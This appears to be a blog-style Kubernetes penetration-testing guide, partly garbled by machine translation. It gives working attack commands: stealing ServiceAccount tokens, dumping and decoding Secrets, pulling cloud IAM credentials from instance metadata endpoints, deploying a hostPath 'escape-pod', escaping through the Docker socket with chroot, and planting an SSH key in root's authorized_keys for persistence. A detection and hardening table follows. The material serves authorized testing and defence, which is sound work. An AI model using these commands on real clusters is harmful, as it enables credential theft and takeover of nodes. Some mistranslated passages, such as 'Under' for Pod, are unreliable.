Kubernetes Pentesting: RBAC, Secrets, PrivEsc and Kubectl

Kubernetes pentest: How a stolen token in a Pod leads, via RBAC and nodes/proxies, to privilege escalation and root shell on the node, with kubectl and cheatsheet.
- Posted on 2026-09-22
- Reading time: 15 min
Kubernetes Pentesting: RBAC, Secrets, Privilege Escalation and Container Escape #
Kubernetes pentesting involves enumerating a cluster's API Servers, namespaces, workloads, ServiceAccounts, and RBAC permissions, then checking whether excessive credentials, configurations, or permissions allow you to read Secrets, execute code in Pods, escalate privileges via workloads or RBAC, or compromise the underlying host node.
This article starts from scratch: if you've never touched Kubernetes before, the next few lines explain what it is and how to talk about it, before getting into the offensive part.
What is Kubernetes, in short? #
Kubernetes is a system that runs applications packaged in containers (small, isolated software units, typically created with Docker) on multiple machines simultaneously. Its job is to decide which machine to run each piece of the application on, automatically restart it if it crashes, and enable the various parts to communicate with each other—without a human having to do it manually each time.
The name “Kubernetes” (often abbreviated K8s ) comes from the Greek and means “helmsman” — the idea is to pilot/orchestrate many containers at once, which is why it’s called “container orchestration.”
To get your bearings, just a few terms are enough, from the smallest to the largest:
- Containers: an isolated application (e.g. your website, a database).
- Under: The smallest unit that Kubernetes actually manages—a “box” containing one or more containers. Kubernetes never touches the container directly; it always moves the entire Pod.
- Node: the machine (physical or virtual) that runs the Pods.
- namespace: a logical folder that separates groups of Pods in the same cluster (e.g.
defaultfor normal apps,kube-systemfor the internal components of Kubernetes itself). - Cluster: the total set of nodes, namespaces, and Pods managed together — “the cluster” is all of Kubernetes you’re looking at.
What kubectl
#
kubectl is the official command-line program for communicating with a Kubernetes cluster—it's the equivalent of an SSH client for a server, but for Kubernetes. Each command you'll see in this article (kubectl get pods, kubectl auth can-i…) does nothing more than send an HTTP request to theAPI Server (the cluster's "switchboard," explained below) and show you the response in a readable format. All it does is kubectl it can also be done with curl directly against the API Server — kubectl it's just more comfortable.
Workflow #
1. Network/API discovery 9. Network (Service, DNS, NetworkPolicy)
2. Autenticazione (token/cert) 10. Kubelet
3. Identità corrente 11. etcd
4. API/resource discovery 12. Cloud metadata (IMDS)
5. RBAC enumeration 13. Privilege escalation
6. Secrets/credential hunting 14. Container escape
7. Workload enumeration 15. Lateral movement
8. Admission/Pod Security 16. Persistence / DetectionEach phase is conditional: a Forbidden It's not a dead end, it's information — he says this The resource/verb/namespace/identity combination is not allowed, not that access is terminated. The checklist:
[ ] Identificare API Server, versione, endpoint di health
[ ] Enumerare namespace, nodi, Pod (kubectl get pods -A -o wide)
[ ] Enumerare API disponibili (api-resources, api-versions, /api, /apis)
[ ] Enumerare ServiceAccount, token, kubeconfig, certificati
[ ] Enumerare Role/ClusterRole/RoleBinding/ClusterRoleBinding
[ ] Testare permessi pericolosi (pods/exec, nodes/proxy, impersonate, rolebindings...)
[ ] Enumerare Secrets, ConfigMap, env vars, ImagePullSecrets
[ ] Enumerare Deployment/DaemonSet/StatefulSet/Job/CronJob e securityContext
[ ] Verificare Pod Security Admission e webhook di ammissione
[ ] Enumerare Service, EndpointSlice, Ingress, NetworkPolicy, DNS interno
[ ] Verificare autenticazione/autorizzazione del Kubelet (10250/10255)
[ ] Verificare esposizione etcd (2379/2380)
[ ] Verificare identità cloud (IMDS) se il cluster gira su AWS/Azure/GCP
[ ] Tentare privilege escalation (workload, RBAC, nodes/proxy)
[ ] Tentare container escape (hostPath, privileged, runtime socket, capabilities)
[ ] Documentare persistenza e valutare detection/hardeningArchitecture in practice #
- Containers: an isolated application.
- Under: the basic unit managed by Kubernetes — the “box” that holds one or more containers.
- Node: the machine that houses the Pods.
- namespace: logical separation of groups of Pods (
default,kube-system,kube-public,kube-node-leasealways present; custom namespaces such asdevreport application configurations). - API Server: the central access point, doors 6443/8443, sometimes 8080 without authentication.
- kubelet: runs on every node and manages local containers, ports 10250 (full API) and 10255 (read-only).
- etcd: The database that contains the state of the entire cluster.
kubectl / API client ──► API Server (:6443/:8443)
├── Authentication
├── Authorization (RBAC)
└── Admission Control
│
┌───────────────────┼───────────────────┐
▼ ▼ ▼
Nodo 1 (kubelet) Nodo 2 (kubelet) Nodo 3 (kubelet)| Port | Service | Note |
|---|---|---|
| 6443 / 443 | kube-apiserver | Main API |
| 8443 | kube-apiserver | Common on minikube/k3s |
| 8080 | kube-apiserver | Historically without auth |
| 10250 | kubelet | Full API |
| 10255 | Kubelet (read-only) | If enabled |
| 2379 / 2380 | etcd | Client API / peer communication |
| 4194 | cAdvisor | Container metrics |
| 30000-32767 | Node Port | Services exposed on nodes |
1. Initial Recon #
nmap -n -T4 -p 443,2379,2380,4194,6443,8443,8080,10250,10255,10256,30000-32767 <target>Without credentials:
curl -k https://<target>:8443/api
curl -k https://<target>:8443/healthz
curl -k https://<target>:8443/versionA valid JSON response only proves that the endpoint responded—it doesn't prove that anonymous access has useful privileges. Always explicitly verify what that identity can do (RBAC section) before considering it as an exploitable vector.
With kubectl or a token:
kubectl version
kubectl cluster-info
kubectl config current-context
kubectl get namespaces
kubectl get nodes -o wide
kubectl get pods -A -o wideSearch: custom namespace in addition to the 4 standard ones, Pods with non-generic names/images, internal IPs, ServiceAccounts different from default.
Which namespaces to query, in order of priority #
kubectl get namespaces always show at least these 4 (plus any custom namespaces created by the application):
kube-system— The system namespace contains the cluster's internal components (controllers, schedulers, autoscalers, etc.) and often the most privileged secrets/tokens. It's the first namespace to check for extended RBAC permissions.- Custom application namespaces (Eg.
dev,staging,production) — if the app you compromised has one, you will often find other instances of the same service (replicas, test environments) with different tokens/permissions — useful for lateral movement. default— where workloads that don't specify an explicit namespace end up; as interesting as the application running on them.kube-public—intended for information that can be read even without authentication; it rarely contains anything exploitable, but should be checked for completeness.kube-node-lease— only handles node heartbeats (reports whether a node is alive); almost never useful in a pentest, so you can skip it if time is limited.
API discovery #
kubectl api-resources
kubectl api-resources --verbs=list
kubectl api-resources --namespaced=false
kubectl api-versions
kubectl get --raw /api
kubectl get --raw /apis
kubectl get --raw /versionThe logical flow: which APIs exist → which resources exist → which I have access to (next section).
2. Identity: tokens, kubeconfig, certificates #
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespaceTechnical note: on modern clusters (Kubernetes 1.22+) this is no longer a permanent static Secret by default — it is a token projected, short-term and automatically rotated by the Kubelet. The static Secret model still exists for compatibility and in legacy configurations (common in labs), but always check exp in the JWT payload before taking it for granted.
export KUBE_TOKEN=$(cat token)
export KUBE_API="https://<target>:8443"
kubectl get pods --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtWithout the three flags, kubectl uses the local configuration (which does not point to the target) and returns errors like invalid character '<' looking for beginning of value — HTML received instead of JSON.
Also check if the Pod is configured to automatically mount the token:
kubectl get pod <POD> -n <NS> -o jsonpath='{.spec.automountServiceAccountToken}'false explicit (or inherited from the ServiceAccount) means that that Pod has no tokens to steal in the first place — a hardening check that is worth checking even offensively to understand where NOT to waste time.
3. RBAC enumeration #
RBAC (Role-Based Access Control) is the system by which Kubernetes decides who can do what. It works with a few interlocking pieces:
- Un Role (o ClusterRole (if it applies to the entire cluster rather than a single namespace) is a list of permissions — e.g. “you can read Pods”, “you can delete Secrets”.
- Un RoleBinding (o ClusterRoleBinding) links that Role to a specific identity (a user, or — what we are interested in in a pentest — a ServiceAccount of a Pod).
In practice: the Role says what can be done, the Binding says who can do itWithout a Binding, a Role exists but is not assigned to anyone and has no effect (full details in the official RBAC documentation). kubectl auth can-i It's the command that tells you, directly, the final result of this chain for the identity you're using at that moment — without having to manually read each Role and Binding one by one (although, later on, you'll learn to do that when you need to understand because permission is granted).
kubectl auth can-i --list --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl auth can-i --list -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtPermissions are tied to a namespace via RoleBinding, or globally through ClusterRoleBindingThe same token can have zero extra permissions in one namespace and extensive permissions in another — this must be checked on a namespace-by-namespace basis.
To rebuild the ServiceAccount → RoleBinding → Role/ClusterRole → effective permissions chain :
kubectl get serviceaccounts -A
kubectl get roles -A
kubectl get clusterroles
kubectl get rolebindings -A
kubectl get clusterrolebindings
kubectl describe role <ROLE> -n <NS>
kubectl describe clusterrolebinding <BINDING>Target: understand what actions the current identity can perform.
What to look for: secrets, pods/exec, create pods, rolebindings, clusterrolebindings, nodes/proxy, impersonate.
If you find secrets → go to Secrets. If you find create pods/pods/exec → switch to Privilege Escalation.
Dangerous Permit Matrix #
| Permit | What it enables |
|---|---|
get/list secrets | Credential theft |
create/update pods | Escalation via malicious Pod (hostPath, privileged) |
create pods/exec | Executing commands in existing Pods, without creating new ones — distinct subresource, the verb that matters is create |
create pods/attach, pods/portforward | Direct interaction with the container |
create rolebindings | Assigning existing roles to a controlled ServiceAccount |
create clusterrolebindings | Escalation to cluster-admin |
create serviceaccounts | Creating new identities |
patch/update deployments/daemonsets | Taking control of an existing trusted workload |
create daemonsets | Running on every node in the cluster |
impersonate | Acting as another user/group's identity |
get/create nodes/proxy | See below — this is not read-only permission |
pods/exec is a distinct sub-resource from pods: a token can have get/list su pods without being able to perform anything within them, or vice versa having create su pods/exec and be able to execute commands in ANY reachable Pod, without creating anything.
kubectl auth can-i create pods/exec -n <ns>
kubectl auth can-i create rolebindings -n <ns>
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i get nodes/proxynodes/proxy: the permission that seems read-only but isn't
#
nodes/proxy forwards HTTP requests from the Server API directly to a node's Kubelet, without requiring direct network access to the Kubelet or its TLS certificates — thus bypassing any network restrictions to port 10250. GET On this permission you can already read the specifics of each Pod on the node (including environment variables, often containing secrets), the Kubelet configuration and the container logs:
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/pods
curl -k -H "Authorization: Bearer $KUBE_TOKEN" $KUBE_API/api/v1/nodes/<node-name>/proxy/configzThis permission is granted by default to many monitoring/observability stacks (Prometheus exporters, metric agents), and is therefore commonly considered harmless. In January 2026, researcher Graham Helton showed that this assumption is wrong: executing commands in a Pod via Kubelet starts with a WebSocket handshake that begins as an HTTP request. GET, and Kubernetes authorizes that request based on the verb only — so an identity with just the nodes/proxy GET can start a session exec complete, without ever having permission pods/exec explicit. The Kubernetes project has classified this behavior as "works as expected" rather than CVE. The permission is commonly granted to monitoring components—always check, on a case-by-case basis during engagement, whether a ServiceAccount with nodes/proxy is actually present and whether the described authorization gap is still exploitable on the target cluster version, before considering it a guaranteed path. The original finding, with technical details on the WebSocket handshake, is documented by Graham Helton.
4. Secrets, ConfigMap and credential hunting #
kubectl get secrets (plural) lists ALL secrets in a namespace — this is the enumeration command, it only tells you names/types/ages, not contents. kubectl get secret <NOME> (singular, with a specific name) shows the detail of only ONE secret — that's where the field appears data with true values. -n <namespace> in both cases it limits the search to that specific namespace (without, kubectl use the default namespace of your configuration, often default).
kubectl get secrets -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl get secret <NAME> -n <NS> -o yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtDistinguish the type: Opaque (generic data), kubernetes.io/tls (certificate+key), kubernetes.io/dockerconfigjson (private registry credentials), kubernetes.io/service-account-token (legacy token).
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data}'
echo "<valore>" | base64 -d-o jsonpath='{.data}' extracts ONLY the field data from the output (without metadata, kind, etc.) — useful for avoiding scrolling through long output when you only need the value. You can also point to a single field instead of all of them:
kubectl get secret <NAME> -n <NS> -o jsonpath='{.data.token}'Every value inside data:, for any secret and any type (token, password, TLS certificate…), is always base64 encoded — never in cleartext. It's not encryption, just encoding: echo "<valore>" | base64 -d It always restores it to the original text, without needing any special keys or permissions other than being able to read the secret itself.
Not all credentials end up in a Secret — they're often directly in the workload definition:
kubectl get configmaps -A
kubectl get pod <POD> -n <NS> -o yamlIn YAML search env:, envFrom:, secretKeyRef:, configMapKeyRef:, and strings like password, token, apikey, access_key, connectionstring, private_key.
ImagePullSecrets deserves a dedicated check, because a dockerconfigjson exposed gives access to an entire private Docker registry:
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.imagePullSecrets[*].name}{"\n"}{end}'
kubectl get secrets -A | grep -i docker5. Workload, security context and admission #
kubectl get deployments,daemonsets,statefulsets,jobs,cronjobs -A
kubectl get deployment <NAME> -n <NS> -o yamlIn addition to reading about existing workloads, ask yourself if you can to modify it a trusted one instead of creating a new one — often patch/update on an existing deployment it is a permission granted more easily than create pods:
kubectl auth can-i patch deployments -n <ns>
kubectl auth can-i update daemonsets -n <ns>For each workload, the securityContext decides whether an escape is already available without any RBAC escalation:
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
hostNetwork: true
hostPID: true
hostIPC: trueAlso check the Pod Security Admission level applied to the namespace (stable since 1.25: privileged, baseline, restricted):
kubectl get ns --show-labels | grep pod-securityA namespace without a label pod-security.kubernetes.io/enforce, or set to privileged, does not block hostPath nor container privileged — your escape route remains open even with strict RBAC. Also check for custom admission webhooks, which could block (or conversely allow) configurations that RBAC alone doesn't control:
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations6. Network and DNS Enumeration #
kubectl get svc,endpointslices,ingress,networkpolicies -AFlow: Pod → Service → Endpoint → Application. ClusterIP it is only reachable from inside; NodePort it is exposed on every node (30000-32767); LoadBalancer typically external via cloud provider. In the absence of NetworkPolicy applied, the default network behavior generally allows traffic between Pods according to the CNI configuration in use — actual reachability between Pods depends on both the absence of policies and the cluster network plugin, and should always be verified with a direct test and not assumed a priori. When a NetworkPolicy, save podSelector, namespaceSelector, ipBlock and the rules ingress/egress separately: a policy that filters only ingress still leaves egress to other Pods free.
From within a Pod, service discovery goes through the internal DNS:
cat /etc/resolv.conf
nslookup <service>.<namespace>.svc.cluster.localThe pattern <service>.<namespace>.svc.cluster.local It allows you to reach by name any Service in the cluster to which the network/RBAC gives you access, without having to know internal IPs by heart.
7. Lateral movement #
If the compromised application is distributed across multiple replicas (Deployment), each lives in a different Pod — often in different namespaces — with potentially different ServiceAccounts and RBAC permissions. The principle is the same as lateral movement classic: repeat the obtained access against identical or similar targets, hoping for a different configuration that will open new permissions.
kubectl get pods -n <namespace> -o wide --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crtThe column IP show internal address (typical range 10.42.0.0/24 with Flannel/k3s, 172.17.0.0/16 (with Docker bridge). With a tunnel to that subnet (e.g., Ligolo-ng after the first foothold), repeat the same application exploit against each replica to get a different token from each. The internal IPs they are not reachable from outside the cluster Without a dedicated tunnel: A direct attempt from an external machine fails silently or times out.
8. Kubelet #
curl -k https://<node>:10250/pods
curl -k https://<node>:10250/runningpods/
curl -k https://<node>:10250/metrics
curl -k https://<node>:10250/configzAccess depends on authentication + authorization of the Kubelet, both configurable and not standardized on each installation. Unauthorized indicates that authentication is required. Even after authentication has passed, Kubelet applies its own authorization model: it can be configured in AlwaysAllow (very permissive, historically common) or in mode Webhook (delegates the decision to the API Server via a SubjectAccessReview, more restrictive) — always check which mode is actually in use instead of assuming it based on the open port alone.
10250 aperta?
├─ NO → torna all'API Server / nodes-proxy
└─ YES
├─ 401 Unauthorized → cerca token/certificati client validi
└─ 200 OK → enumera /pods, poi /exec, /run, /portForwardIf reachable without credentials, the endpoints /exec, /run, /attach, /portForward, /containerLogs allow you to run commands directly in a container on that node, completely bypassing the API Server audit log.
9. etcd #
nmap -p 2379,2380 <target>
curl -k https://<target>:2379/version2379 is the client API (where potentially all the cluster Secrets reside in clear text if not encrypted at rest), 2380 Communication between etcd cluster members. It should never be exposed beyond the cluster control network; if reachable and unauthenticated, etcdctl get / --prefix --keys-only extracts the entire key namespace.
10. Kubeconfig and certificates #
echo $KUBECONFIG
cat ~/.kube/config 2>/dev/null
find /home /root /etc -type f \( -name "config" -o -name "kubeconfig" \) 2>/dev/null | grep -i kube
find /etc/kubernetes -type f 2>/dev/nullFile as /etc/kubernetes/admin.conf, kubelet.conf, controller-manager.conf, scheduler.conf They often contain administrative level credentials left on a node where the cluster was configured/bootstrapped.
kubectl config get-contexts --kubeconfig=<file_trovato>
kubectl config view --raw --kubeconfig=<file_trovato>11. Cloud credentials (AWS/Azure/GCP) #
If the node is running on a cloud VM, the Pod can have access to the instance metadata service—a vector independent of RBAC, which falls under the same AWS security logic applied from within a cluster rather than from outside:
# AWS (EKS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (GKE)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (AKS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01"If reachable without network restrictions at the Pod level, this exposes the host node's IAM credentials — often more powerful than any RBAC role within the cluster.
12. Privilege escalation: creating a malicious Pod #
Before choosing the technique, the decision branch based on what you have already obtained from the RBAC enumeration:
Hai create pods?
├─ SÌ → verifica Pod Security Admission → hostPath / privileged (vedi sotto)
└─ NO
├─ Hai patch/update su un Deployment esistente? → modifica workload fidato
├─ Hai create daemonsets? → esecuzione forzata su ogni nodo
├─ Hai create rolebindings/clusterrolebindings? → assegnati un ClusterRole esistente più ampio
└─ Hai nodes/proxy (get)? → verifica accesso al Kubelet (sezione 8)With create su pods, the most direct technique to reach the host filesystem is a Pod with volume hostPath.
kubectl get pods --all-namespaces --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt \
| grep -v NAMESPACE \
| while read line; do
ns=$(echo $line | awk '{print $1}'); name=$(echo $line | awk '{print $2}')
kubectl get pod $name -o yaml -n $ns --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt | grep ' - image: '
done | sort -uCheck first what images are available locally: if the node does not have Internet access, an image like alpine from Docker Hub fails with ErrImagePull.
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: kube-system
spec:
containers:
- name: escape
image: localhost:5000/node_server
command: ["/bin/sh"]
args: ["-c", "sleep 300000"]
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: trueLine by line, for those who have never written a Kubernetes manifest:
image: localhost:5000/node_server— the image from which to create the container. This must be an image already present locally (see above), not one downloaded from the Internet.command/args— what the container runs when it starts. A Pod (like a Docker container) terminates automatically when its main process ends —it's not like a VM that stays on by default. If you don't give it anything to do, the container runs the image's default command and likely exits immediately, terminating the Pod before you can enter it withkubectl exec.sleep 300000It simply says “wait 300000 seconds” (just over 83 hours) — an arbitrarily chosen number, large enough to keep the Pod alive for the duration of the test. An equivalent, equally common alternative istail -f /dev/null(forever follows a file that never produces output).volumeMounts+volumes— the mechanism by which Kubernetes “plugs” an external resource (here, a folder) into the container.name: hostfsit's just a fancy label that connects the two sections (the volume declared involumesand the declared mounting point involumeMountsthey must have the samenameto be the same thing);mountPath: /mntsays “this external resource will appear inside the container at the folder/mnt".hostPath: path: /— the type of volume you are attaching: not a Kubernetes-managed storage space, but directly a filesystem folder host node (/= the entire root). This is the point that makes the Pod “malicious”: whatever you write/read in/mntinside the container, you are actually writing/reading it to the disk of the physical/virtual machine hosting the Pod.namespace: kube-system— chosen here only for consistency with the example (the Pod could live in any namespace where your token allowedcreate pods).
kubectl apply -f escape-pod.yaml --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt
kubectl exec escape-pod --stdin --tty -n kube-system --token $KUBE_TOKEN --server $KUBE_API --certificate-authority ca.crt -- /bin/sh/mnt It's now the host machine's real filesystem. For a persistent shell: write a key SSH publish in /mnt/root/.ssh/authorized_keys (creating .ssh with permits 700 and the file with 600) and connect via SSH as root.
13. Container escape: alternative routes #
Creating a new Pod is just one way—the actual container escape techniques are the same as for any containerized environment, not just Kubernetes (see Docker Security and Container Escape for the big picture). If you already have a shell in an existing Pod:
- hostPath already mounted — check
mountokubectl describe podfor host-mapped volumes. - Privileged Containers
capsh --printo/proc/self/status(fieldCapEff). - Socket runtime exposed — if
/var/run/docker.sock(or the containerd/CRI-O equivalent) is mounted:docker -H unix:///var/run/docker.sock run -v /:/hostfs --rm -it alpine chroot /hostfs sh. - hostPID/hostNetwork — access to
/proc/<pid>of the host or the node's network stack. - Dangerous Capabilities
SYS_ADMIN,SYS_PTRACE,DAC_READ_SEARCH. Once out of the container, the same logic of privilege escalation Linux e GTFOBins normally applies to the host. - Vulnerability of the kernel/runtime — vulnerabilities known as Leaky Vessels (CVE-2024-21626, runc) allow escapes regardless of RBAC configuration.
14. Persistence (in authorized scope) #
The following techniques are the Kubernetes-specific version of general post-exploitation concepts :
- Un
CronJobwhich periodically recreates the login. -
An
RoleBinding/ClusterRoleBindingadditional towards a ServiceAccount under control. - A sidecar container injected into an existing deployment.
It should always be documented and removed at the end of the engagement.
Example attack path #
ServiceAccount a basso privilegio
↓ list pods
Individua workload vulnerabile
↓ pods/exec o nodes/proxy GET
Esecuzione comandi / furto token
↓ RBAC enumeration sul nuovo token
create pods (o create rolebindings)
↓ hostPath / cluster-admin
Filesystem del nodo o controllo cluster completo
↓ kubeconfig / credenziali cloud
Escalation oltre il singolo clusterDetection & Hardening #
| Timeline | Misconfiguration | Detection | Mitigation |
|---|---|---|---|
| Theft Secrets | RBAC too permissive | API Server Audit Log | Least privilege on Role/RoleBinding |
| Pod Abuse | create pods/pods/exec not necessary | Audit on create/connect | Granular RBAC + Pod Security Admission |
nodes/proxy → RCE | Permission granted to monitoring tools | Audit on proxy requests to /proxy/exec, /proxy/run | To remove nodes/proxy from monitoring roles where not essential; runtime visibility |
| Host compromise | hostPath, privileged | Admission log | Pod Security Admission restricted |
| Kubelet Abuse | 10250/10255 exposed, AlwaysAllow | Network Logs/IDS | modality Webhook, network segmentation |
| Lateral movement | Lack of Network Policy | Internal flow logs | NetworkPolicy default-deny |
Additional points: disable automountServiceAccountToken where it is not needed; prefer tokens projected to expire shortly; use external secrets managers (Vault, external-secrets); active audit logging with alerts on create/patch of sensitive resources (Pod with hostPath, RoleBinding, ClusterRoleBinding) and on request nodes/proxy towards execution endpoints.
FAQ #
What is Kubernetes? A system that automatically manages containerized applications across multiple machines—it decides where to run them, restarts them if they crash, and allows them to communicate with each other. Often abbreviated to K8s.
What is a Pod? The smallest unit managed by Kubernetes: a "box" containing one or more containers. Kubernetes always manages the Pod as a whole, never the container in isolation.
What kubectl?
The official command-line client for interacting with a Kubernetes cluster — it sends HTTP requests to the API Server and displays the response in a readable format. Each command kubectl has an equivalent in a call curl direct.
What is RBAC? Role-Based Access Control: the system by which Kubernetes decides who can do what, using Roles/ClusterRoles (permissions) tied to an identity with RoleBinding/ClusterRoleBinding.
What's the difference between API Server and Kubelet? API Server (6443/8443) manages the entire cluster. Kubelet (10250/10255) runs on each node and manages local containers—if accessible without restrictions, it can bypass API Server auditing.
What pods/exec?
A distinct sub-resource from pods: the specific permission to execute commands inside an already existing container, independent of get/list on the Pods themselves.
What nodes/proxy and why isn't it "just reading"?
Forward requests from the API Server to a node's Kubelet. Even with just the verb GET, allows you to start command execution sessions in the Pods of that node, for a gap in the authorization of the WebSocket used by exec —publicly documented in 2026.
Where is the ServiceAccount token located?
/var/run/secrets/kubernetes.io/serviceaccount/tokenIn modern clusters it is a short-term projected token, no longer a permanent static secret by default.
Does "Port 10250 open" always mean free access? No — it depends on the Kubelet's authentication/authorization configuration, which varies by version and installation. You should always verify the actual status before considering it usable.
create pods is it always necessary for escalation?
No. With an existing Pod that has hostPath, privileged, or the mounted runtime socket, escaping does not require creating a new one.








